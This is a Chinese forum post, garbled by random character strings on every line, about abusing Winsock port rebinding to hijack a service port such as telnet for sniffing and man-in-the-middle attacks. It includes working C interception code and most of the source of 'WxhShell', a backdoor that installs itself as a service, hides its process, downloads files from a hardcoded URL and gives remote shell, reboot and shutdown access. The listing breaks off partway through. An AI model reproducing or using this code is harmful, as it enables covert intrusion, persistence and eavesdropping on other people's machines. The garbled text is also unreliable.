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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: "cti(0F-d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )"q2DjfX*  
^91k@MC  
  saddr.sin_family = AF_INET; J|K~a?&vN  
<x1(}x:u`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <;acWT?(  
<iTaJa$0m  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ` a@NYi6  
aeg5ij-]u@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^^)Pv#[3  
|&C.P?q  
  这意味着什么?意味着可以进行如下的攻击: n2T vPt\  
9m8`4%y=  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 C~:aol i;  
_tYt<oB~%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Vg2s~ce{  
;B tRDKn  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }z[ O_S,X  
dp+wwNe  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o6svSS  
Amz7j8zJ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rs!J<CRq  
m,8A2;&,8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 koaH31Q  
]1gt|M^  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &?x^I{j  
<m9IZI Y<  
  #include 0;V2>!  
  #include ;g?5V  
  #include #E*jX-JT  
  #include    @8Co5`CVl  
  DWORD WINAPI ClientThread(LPVOID lpParam);   RN!oflb  
  int main() rMLCt Gi  
  { '9i:b]Hru  
  WORD wVersionRequested; UD"e:O_  
  DWORD ret; Px)VDs=k  
  WSADATA wsaData; Nnx"b 5I}n  
  BOOL val; ~!Onz wmO  
  SOCKADDR_IN saddr; v!40>[?|p  
  SOCKADDR_IN scaddr; Pbz-I3+66  
  int err; Lt=#tu&d  
  SOCKET s; ()XL}~I{!A  
  SOCKET sc; Z\TH=UA  
  int caddsize; 2D&tDX<  
  HANDLE mt; 44wY5nYNt  
  DWORD tid;   K2)),_,@5+  
  wVersionRequested = MAKEWORD( 2, 2 ); Q +qN`  
  err = WSAStartup( wVersionRequested, &wsaData ); RYmk6w!w  
  if ( err != 0 ) { !t[X/iu  
  printf("error!WSAStartup failed!\n"); %vyjn&13  
  return -1; \'j%q\Bl;  
  } W0l|E&fj[  
  saddr.sin_family = AF_INET; d0IHl!X  
   ?I7%@x!+S  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 b Kv9F@  
b\H~Ot[i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o^_z+JFwb  
  saddr.sin_port = htons(23); Kkdd}j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~(G]-__B<  
  { ]J m9D=  
  printf("error!socket failed!\n"); CEZ*a 0}=  
  return -1; 5ahAp];  
  } $wC]S4C  
  val = TRUE; Ij/c@#q.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ld`oIEj!P_  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0Tg/R4dI  
  { Ca]vK'(  
  printf("error!setsockopt failed!\n"); =DvnfT<  
  return -1; L 'H1\' o  
  } ,8EeSnI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]-["sw  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3v5]L3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1%EIP -z  
*#dXW\8qu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <-X)<k  
  { bWG}>{fj  
  ret=GetLastError(); 44($a9oa2  
  printf("error!bind failed!\n"); Kl\A&O*{  
  return -1; o+q4Vg9&  
  } k h#|`E#,  
  listen(s,2); l'?/$?'e_Z  
  while(1) RhXX/HFk  
  { ?cowey\m .  
  caddsize = sizeof(scaddr); 3-~_F*%ST  
  //接受连接请求 +2MsyA?6_  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v )4 kS  
  if(sc!=INVALID_SOCKET) hjaI&?w  
  { UYGl  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <iv9Mg}  
  if(mt==NULL) %nVnK6[sox  
  { W)$;T%u  
  printf("Thread Creat Failed!\n"); jZe]zdml  
  break; :G,GHU'/78  
  } ,1RW}1n  
  } 9F ).i  
  CloseHandle(mt); ~iyd p  
  } nakhepLN  
  closesocket(s); Z;SRW92@  
  WSACleanup(); R qOEQ*k  
  return 0; ^ D?;K8a-l  
  }   Td X6<fVV  
  DWORD WINAPI ClientThread(LPVOID lpParam) OCY7Bls4  
  { qeH#c=DQ  
  SOCKET ss = (SOCKET)lpParam; pcoJ\&&W  
  SOCKET sc; %t:1)]2  
  unsigned char buf[4096]; VOp8 ,!  
  SOCKADDR_IN saddr; %[Ia#0'Y@  
  long num; >2Z:=HT  
  DWORD val; VDCrFZ!]  
  DWORD ret; d #y{eV$Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E':y3T@."  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Y')in7g  
  saddr.sin_family = AF_INET; IgR_p7['.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bXC;6xZV  
  saddr.sin_port = htons(23); fb&K.6"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 64h r| v  
  { xBR2tDi%  
  printf("error!socket failed!\n"); T->O5t c  
  return -1; UOT~L4 G  
  } N;;!ObVHnP  
  val = 100; 8mV`|2>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J$]d%p_I  
  { !@%m3)T8  
  ret = GetLastError(); qf(!3  
  return -1; z^ KrR  
  } _+.z2} M  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [{f{E  
  { )I$_wB!UV  
  ret = GetLastError(); &*T57tE  
  return -1;  Z:u7`%  
  } CIYTs,u#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /8 Ca8Ju  
  { )u(`s`zd  
  printf("error!socket connect failed!\n"); qwiM .b5  
  closesocket(sc); "<txg%j\J  
  closesocket(ss); <?2[]h:wp  
  return -1; ){icI <  
  } \6 2|w HX  
  while(1) ;, 'eO i  
  { $NT{ssh  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Mp7r`A,6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Rb',"` 7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &NB[:S =  
  num = recv(ss,buf,4096,0); bUU_NqUf*3  
  if(num>0) ^W3xw[{  
  send(sc,buf,num,0); jbMzcn~ehI  
  else if(num==0) 7:9WiN5b  
  break; 3' mQ=tKa  
  num = recv(sc,buf,4096,0); G0xk @SE  
  if(num>0) AL3zE=BL  
  send(ss,buf,num,0); u2@:[:Ao  
  else if(num==0) 1`X{$mxw  
  break; 6psK2d0  
  } _LCK|H%v'  
  closesocket(ss); P)7SK&]r;=  
  closesocket(sc); 'HH[[9Q  
  return 0 ; Ro$l/lXl8t  
  } e#<%`\qH  
#L` @["  
<x53b/ft  
========================================================== m!tB;:6  
|z-A;uL<  
下边附上一个代码,,WXhSHELL sJw#^l  
:BN qr[=b  
========================================================== wS hsu_(i  
1<Qb"FN!2  
#include "stdafx.h" -'*B%yy  
}c:s+P+/  
#include <stdio.h> P I)lJ\  
#include <string.h> ,1a6u3f,  
#include <windows.h> &?#V*-;^  
#include <winsock2.h> oDrfzm|[Y  
#include <winsvc.h> g-bHf]'  
#include <urlmon.h> |zKFF?7#wE  
}[ld=9p(  
#pragma comment (lib, "Ws2_32.lib") x32hO;  
#pragma comment (lib, "urlmon.lib") ?<%GY dus  
@_J~zo  
#define MAX_USER   100 // 最大客户端连接数 LD0x 4zm$m  
#define BUF_SOCK   200 // sock buffer !NuiVC]  
#define KEY_BUFF   255 // 输入 buffer @aAB#,  
N>/!e787OU  
#define REBOOT     0   // 重启 cGIxE[n'  
#define SHUTDOWN   1   // 关机 ^mv F%"g  
.hzzoLI2  
#define DEF_PORT   5000 // 监听端口 _)"-zbh}{  
#.'0DWT \-  
#define REG_LEN     16   // 注册表键长度 +C' u!^ )  
#define SVC_LEN     80   // NT服务名长度 {^a"T'+  
c>6dlWTqX  
// 从dll定义API M%92 ^;|`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "v@Y[QI  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,.A@U*j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HIsIW%B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -GCC  
,&e0~  
// wxhshell配置信息 WYSqnmi  
struct WSCFG { DvB!- |ek  
  int ws_port;         // 监听端口 _kg<K D=P  
  char ws_passstr[REG_LEN]; // 口令 )CJXk zOX  
  int ws_autoins;       // 安装标记, 1=yes 0=no -K eoq  
  char ws_regname[REG_LEN]; // 注册表键名 B52n'.  
  char ws_svcname[REG_LEN]; // 服务名 $P&{DOiKS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t(AW2{%}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +pXYBwH 7Q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e=Ko4Ao2y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IO3p&sJ/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <:/Lap#D^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6 <XQ'tM]N  
{RH&mu  
}; 6B`XHdCq  
xY4g2Q J  
// default Wxhshell configuration C@d*t?  
struct WSCFG wscfg={DEF_PORT, VzD LGLH  
    "xuhuanlingzhe", `yF6-F  
    1, u_H=Xm)9  
    "Wxhshell", (+uM |a  
    "Wxhshell", -w'  
            "WxhShell Service", JYbsta  
    "Wrsky Windows CmdShell Service", -UY5T@as  
    "Please Input Your Password: ", !iv6k~.e'2  
  1, 6$/Z.8  
  "http://www.wrsky.com/wxhshell.exe", 3 @ahN2  
  "Wxhshell.exe" y_mTO4\C2  
    }; zUq ^  
)|3BS`  
// 消息定义模块 #dA9v7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |"}oGL6-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b'q ru~i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GdN9bA&,  
char *msg_ws_ext="\n\rExit."; '3<T~t  
char *msg_ws_end="\n\rQuit."; 9*~bAgkWI  
char *msg_ws_boot="\n\rReboot..."; f/xQy}4+~E  
char *msg_ws_poff="\n\rShutdown..."; W(5XcP(  
char *msg_ws_down="\n\rSave to "; 'Em3;`/C*+  
Gh%R4)}  
char *msg_ws_err="\n\rErr!"; .*}!XKp0j  
char *msg_ws_ok="\n\rOK!"; F $/7X~*  
`D/<*e,#  
char ExeFile[MAX_PATH]; GFGW'}w-  
int nUser = 0; 3d>8~ANi=%  
HANDLE handles[MAX_USER]; ,J6t 1V  
int OsIsNt; cMs8D  
:$6mS[@|  
SERVICE_STATUS       serviceStatus; |N5r_V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jOUM+QO  
e&@;hDmIX  
// 函数声明 Ztl?*zL  
int Install(void); M ^ZEAZi  
int Uninstall(void); Ab #}BHI  
int DownloadFile(char *sURL, SOCKET wsh); CCHGd&\Z  
int Boot(int flag); &]"Z x0t5%  
void HideProc(void); ^'%Q>FVb  
int GetOsVer(void); C'~E q3  
int Wxhshell(SOCKET wsl); >sjvE4s  
void TalkWithClient(void *cs); .oS[ DTn5S  
int CmdShell(SOCKET sock); &=*sN`  
int StartFromService(void); q2 b>Z6!5  
int StartWxhshell(LPSTR lpCmdLine); y(ceEV  
Pm7lP5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S awf]/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S5BS![-QK  
Spu> ac  
// 数据结构和表定义 frokl5L@  
SERVICE_TABLE_ENTRY DispatchTable[] = M ~ ;]d  
{ *Sg6VGP  
{wscfg.ws_svcname, NTServiceMain}, VS\| f'E  
{NULL, NULL} (gRTSd T ?  
}; }<qZXb1  
e'yw8U5E/  
// 自我安装 ?8qN8rk^+  
int Install(void) `_()|;!y  
{ wRdN(`;v  
  char svExeFile[MAX_PATH]; 8d?%9# p-)  
  HKEY key; m\oxS;fxWi  
  strcpy(svExeFile,ExeFile); ov<vSc<u  
2:RFPK  
// 如果是win9x系统,修改注册表设为自启动 bt*  
if(!OsIsNt) { }uwZS=pw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2 g~W})e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X?YT>+g;  
  RegCloseKey(key); Sd F+b+P]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [b+B"f6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6?ky~CV  
  RegCloseKey(key); jM-7  
  return 0; DUSQh+C  
    } U ;A,W$<9  
  } d/3bE*gr  
} t33\f<e  
else { r $[{sW  
1,Es'  
// 如果是NT以上系统,安装为系统服务 1+"d-`'Z2O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X(O:y^sX}  
if (schSCManager!=0) 2Lytk OMf  
{ 6"[J[7up  
  SC_HANDLE schService = CreateService xU2i&il^!  
  ( 2%v6h  
  schSCManager, 2Jky,YLcb  
  wscfg.ws_svcname, 6-~ZOMlV  
  wscfg.ws_svcdisp, DQ}&J  
  SERVICE_ALL_ACCESS, g:.LCF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G5|'uKz2"  
  SERVICE_AUTO_START, Pc`)D:/}R  
  SERVICE_ERROR_NORMAL, ~1XC5.*-  
  svExeFile, *ZV3]ig2$  
  NULL, Z<W f/  
  NULL, qo}yEl1  
  NULL, L8f_^ *,  
  NULL, q6hH]Q>w*  
  NULL M1]w0~G  
  ); ([|^3tM  
  if (schService!=0) 0eKLp8;Lh  
  { j >`FZKxp  
  CloseServiceHandle(schService); W6`_ lGTj  
  CloseServiceHandle(schSCManager); r oPC ^Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?&!!(dWFH  
  strcat(svExeFile,wscfg.ws_svcname); m;nH v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { txm6[Io  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Zx`/88!x[  
  RegCloseKey(key); }8ESp3~e_  
  return 0; 6kMEm)YjT  
    } 'K}2m  
  } dNCd-ep  
  CloseServiceHandle(schSCManager); \),zDO+  
} tk)}4b^\%j  
} _v 8u%  
GY5JPl  
return 1; \II^&xSF  
} +3M1^:  
M04u>| ,  
// 自我卸载 Pf;RJeD  
int Uninstall(void) cmYzS6f,7  
{ TwF.UL@G%  
  HKEY key; OlptO60{ ]  
qG2P?DR  
if(!OsIsNt) { J0YNzC4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4#t=%}  
  RegDeleteValue(key,wscfg.ws_regname); K{9Vyt9,$  
  RegCloseKey(key); P(o>UDy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X{[$4\di{  
  RegDeleteValue(key,wscfg.ws_regname); D51s)?  
  RegCloseKey(key); (LMT'   
  return 0; <[T{q |*  
  } i7rk%q  
} f+.sm  
} Su[(IMw  
else { }IdkXAB.  
c>T)Rc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K@oyvJ$  
if (schSCManager!=0) `,Y3(=3Xe?  
{ biForT_no  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JV8*;n%}-  
  if (schService!=0) _ /Eg_dQ~@  
  { {qU;>;(  
  if(DeleteService(schService)!=0) { 3hEbM'L  
  CloseServiceHandle(schService); !w0=&/Y{R  
  CloseServiceHandle(schSCManager); ah(k!0PV  
  return 0; kw7E<aF!  
  } epG =)gd=8  
  CloseServiceHandle(schService); 'geN  dx  
  } .$Yp~  
  CloseServiceHandle(schSCManager); :~ &#9  
} s;[=B  
} *+00  
NO/5pz}1  
return 1; \.GA" _y  
} S!^I<#d K  
&Z9rQH81f>  
// 从指定url下载文件 ?%D nIl>  
int DownloadFile(char *sURL, SOCKET wsh) ttt4h  
{ /)dyAX(  
  HRESULT hr; A6E~GJa  
char seps[]= "/"; H;DjM;be  
char *token; )(c%QWz  
char *file; IJ:JH=8  
char myURL[MAX_PATH]; #BgiDLh  
char myFILE[MAX_PATH]; nQg_1+  
l&m Y}k  
strcpy(myURL,sURL); %WX^']p  
  token=strtok(myURL,seps); sheCwhV  
  while(token!=NULL) SP>&+5AydX  
  { FF|M7/[~  
    file=token; w6-<HPW<S  
  token=strtok(NULL,seps); r]aI=w<(f  
  } nyOmNvZf  
VCIV*5 P  
GetCurrentDirectory(MAX_PATH,myFILE); Sogt?]HB$  
strcat(myFILE, "\\"); afu!.}4Ct  
strcat(myFILE, file); ~0}d=d5g  
  send(wsh,myFILE,strlen(myFILE),0); qd~9uo&[Ig  
send(wsh,"...",3,0); d7:=axo,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]mC5Z6,1s  
  if(hr==S_OK) k\g:uIsv$  
return 0; [8Z !dj   
else /*GCuc|  
return 1; nV8iYBBym  
%&s4YD/{  
} U8,pe;/ln`  
qG]0z_dPE~  
// 系统电源模块 Lzcea+*uw  
int Boot(int flag) VtGZB3  
{ wLvM<p7OX  
  HANDLE hToken; k[f_7lJ2  
  TOKEN_PRIVILEGES tkp; !!cN4X  
mrr -jo  
  if(OsIsNt) { ;Sp/N4+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L@ejFXQg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x,fL656t  
    tkp.PrivilegeCount = 1; IlB*JJnl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M)H*$!x}>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l 3 jlKB  
if(flag==REBOOT) { ktp<o.f[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rD9:4W`^  
  return 0; j[dgY1yE:  
} upZf&4 I8  
else { Nu'ox. V  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N:Ir63X*#  
  return 0; 1y,/|Y  
} ^uPg71r:  
  } Q8.LlE999  
  else { _1~pG)y$U  
if(flag==REBOOT) { U\-R'Z>M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Gi*_ &  
  return 0;  s=556  
} %36@1l-N  
else { /w2-Pgm-[\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vUDMl Z  
  return 0; 'u d[#@2  
} io@f5E+?  
} ;82?ACCP  
'E\4/0 !  
return 1; 62K#rR S  
} t6lwKK  
g}L>k}I?!W  
// win9x进程隐藏模块 \)ZCB7|  
void HideProc(void) Eh$1p iJG  
{ 3Vak C  
t+{vb S0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c@J@*.q]   
  if ( hKernel != NULL ) Mz\l C)\B  
  { v-/vj/4>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %E"Z &_3{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ba** S8{/`  
    FreeLibrary(hKernel); 2waPNb|  
  } P+QL||>L  
2( m#WK7>F  
return; +(^H L3  
} 1I)oT-~  
-Zp BYX5e_  
// 获取操作系统版本 *N"CV={No  
int GetOsVer(void) W!Fc60>p@f  
{ <XN=v!2;  
  OSVERSIONINFO winfo; G\B+bBz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v G9>e&Be  
  GetVersionEx(&winfo); a,r B7aD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l@ (:Q!Sk  
  return 1; M |f V7g  
  else j-.Y!$a%6  
  return 0; m/ID3_  
} {^1''  
q6<P\CSHy<  
// 客户端句柄模块 )a x>*  
int Wxhshell(SOCKET wsl) b&dv("e 4  
{ &b7_%,Bx4  
  SOCKET wsh; Ez-Q'v(9  
  struct sockaddr_in client; F\L!.B  
  DWORD myID; lW|v_oP9  
>k/cm3  
  while(nUser<MAX_USER) R<(xWH  
{ 6U.|0mG[  
  int nSize=sizeof(client); $*T?}r>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); | L1+7  
  if(wsh==INVALID_SOCKET) return 1; $mh\`  
-6~.;M 5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ak8Y?#"wz  
if(handles[nUser]==0) KROD(  
  closesocket(wsh); qmt9J?$k  
else x~wS/y  
  nUser++; Am_>x8z  
  } w6WPfy(/2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,?k1if(0[  
C4P<GtR9  
  return 0; a @d 15CN  
} Wpi35JrC  
w,$qsmR  
// 关闭 socket !8| }-eFY  
void CloseIt(SOCKET wsh) PMV,*`"9"A  
{ m[74p  
closesocket(wsh); K,$rG%c zX  
nUser--; Z6A-i@  
ExitThread(0); : -d_  
} > pP&/  
a6^_iSk  
// 客户端请求句柄 O#^H.B  
void TalkWithClient(void *cs) 7t:tS7{}  
{ .V?[<}OJn  
_]pu"hZz4  
  SOCKET wsh=(SOCKET)cs; D fzsA4  
  char pwd[SVC_LEN]; ;}"Eqq:  
  char cmd[KEY_BUFF]; \ "$$c  
char chr[1]; 0FgF,  
int i,j; T9H*]LxK  
3m` >D e  
  while (nUser < MAX_USER) { )AQ^PBwp  
c$%*p (zY  
if(wscfg.ws_passstr) { $[n:IDa*@1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OmO#} k<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zrr)<'!i  
  //ZeroMemory(pwd,KEY_BUFF); z+yIP ?s}(  
      i=0; Jt@lH  
  while(i<SVC_LEN) { Xa?O)Bq.  
}|Mwv $`  
  // 设置超时 n]ba1t8ZA  
  fd_set FdRead; ;54NQB3L  
  struct timeval TimeOut; N+rU|iMa.  
  FD_ZERO(&FdRead); <78|~SKAV  
  FD_SET(wsh,&FdRead); r(46jV.sD:  
  TimeOut.tv_sec=8; 0f.j W O  
  TimeOut.tv_usec=0; {YzCgf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aQtd6L+ J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b j`\;_oo  
kz7FQE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nQjpJ /=  
  pwd=chr[0]; -}|L<~  
  if(chr[0]==0xd || chr[0]==0xa) { C,Nf|L((6  
  pwd=0; *;Mi/^pzK  
  break; 'Oue 1[  
  } A51 a/p#  
  i++; q[,p#uJ]  
    } <gkE,e9  
;7QXs39S  
  // 如果是非法用户,关闭 socket 1^![8>u"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G?1GkR  
} >8e)V ;  
U]=yCEb8p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~oa}gJl:}-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  Sfz1p  
:o>=^N  
while(1) { I'4(Ibl+  
dFy$w=  
  ZeroMemory(cmd,KEY_BUFF); g X!>ef  
XB7Aa)  
      // 自动支持客户端 telnet标准   nF<K84  
  j=0;  ES~b f  
  while(j<KEY_BUFF) { pCs3-&rI3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aDF@A S  
  cmd[j]=chr[0];   3%kUj  
  if(chr[0]==0xa || chr[0]==0xd) { ("2X8(3z  
  cmd[j]=0; '[ t.  
  break; _;j1g%  
  } MA`nFkVK  
  j++; >GGM76vB=,  
    } mr\,"S-`  
JU?;Kq9R  
  // 下载文件 6]brL.eGj  
  if(strstr(cmd,"http://")) { !kovrvM6F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &B{zS K$N  
  if(DownloadFile(cmd,wsh)) D$hQ-K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7g\v (P  
  else TEz;:*,CG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nw*<e ]uD  
  } W{F)YyR{.  
  else { l=CAr  
v`A)GnNiN  
    switch(cmd[0]) { 9 C[~*,qx  
  5Z>a}s_i  
  // 帮助 ,HZ%q]*:~  
  case '?': { tvI<Why\p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g0B] ;Y>(  
    break; & FhJ%JK  
  } Msqqjhoy  
  // 安装 ;ElCWs->\  
  case 'i': { ?b]zsku8  
    if(Install()) 4 Ej->T.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZmsYRk~@-  
    else b Hr^_ogN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g04^M (  
    break; QX=TuyO  
    } >(RkoExO/  
  // 卸载 cq I $9  
  case 'r': { "\o#YC  
    if(Uninstall()) wA5Iz{uQO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +``vnC  
    else 50_[hC&C)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \?n6l7*t>  
    break; L$PbC!1  
    } PuN L%D  
  // 显示 wxhshell 所在路径 5 A0]+)5E8  
  case 'p': { )E9!m  
    char svExeFile[MAX_PATH];  =yod  
    strcpy(svExeFile,"\n\r"); poQ_r <I  
      strcat(svExeFile,ExeFile); s<YN*~  
        send(wsh,svExeFile,strlen(svExeFile),0); b}qfOgd5  
    break; f;'*((  
    } ~0PzRS^o  
  // 重启 lh;fqn`  
  case 'b': { U"Gx Xrl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Yi Zk|K_  
    if(Boot(REBOOT)) /|v4]t-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,WyEwc]  
    else { :E")Zw&sW3  
    closesocket(wsh); 3yx[*'e$  
    ExitThread(0); &wQ;J)13  
    } 9k6s  
    break; v2x+_K}J  
    } -Lq+FTezE  
  // 关机 pT,8E(*l2  
  case 'd': { _HwA%=>7  
